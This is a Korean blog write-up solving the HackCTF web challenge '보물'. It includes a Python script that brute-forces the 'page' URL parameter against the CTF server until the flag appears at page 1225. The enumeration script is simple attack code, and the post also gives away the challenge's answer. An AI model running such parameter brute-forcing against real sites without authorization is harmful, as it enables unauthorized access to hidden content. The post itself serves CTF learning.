Wargame/Hack CTF

HackCTF Web - 보물 write up

9ucc1 2020. 7. 29. 22:28
반응형

문제에 제시된 사이트 접속

페이지에 제시된 버튼을 눌러보자

page1 버튼을 누르니 page 파라미터를 통해 1이란 값을 받는 것을 알 수 있다

페이지 숫자 중에 비밀이 있고, 그곳에 보물을 숨겨놓았다고 한다

 

page1 버튼을 눌렀을 때 변한 것이 하나 더 있다. 

암호화(?) 되어있는 듯한 문자열이 출력되었다. 

 

이를 통해 페이지 파라미터로 어떤 특정 수를 전달해주면 Flag가 나올 것이라 예측하고 풀어볼 수 있다.

 

python 코드를 짜서 브루트포싱 공격(무차별 대입 공격)을 해보자

HackCTF 사이트에서의 Flag 형식은 HackCTF{~~~} 이기 때문에

페이지 수를 1씩 증가시키면서 요청을 보내고

만약 Flag가 바로 출력이 된다면 페이지 번호를 출력하고 반복문을 종료하는 코드를 작성했다. 

import requests

cookies = {'session' : '~~~'}
i = 1
while True:
    url = 'http://ctf.j0n9hyun.xyz:2025/?page=' + str(i)
    res = requests.get(url, cookies=cookies)
    res = res.text
    print(str(i) + '번째 시도')
    if 'HackCTF' in res:
        print(i)
        break
    i += 1

(requests 모듈을 통해 사이트에 요청을 보낼 때 쿠키를 전달해야 하는 경우, 

cookies의 값은 딕셔너리 형태로 전달해주어야 한다. )

 

실행시켜보면

1225번째에서 멈춘다.

이 숫자를 URL 뒤 ?page= 에 붙여넣으면

http://ctf.j0n9hyun.xyz:2025/?page=1225

Flag를 얻을 수 있다

반응형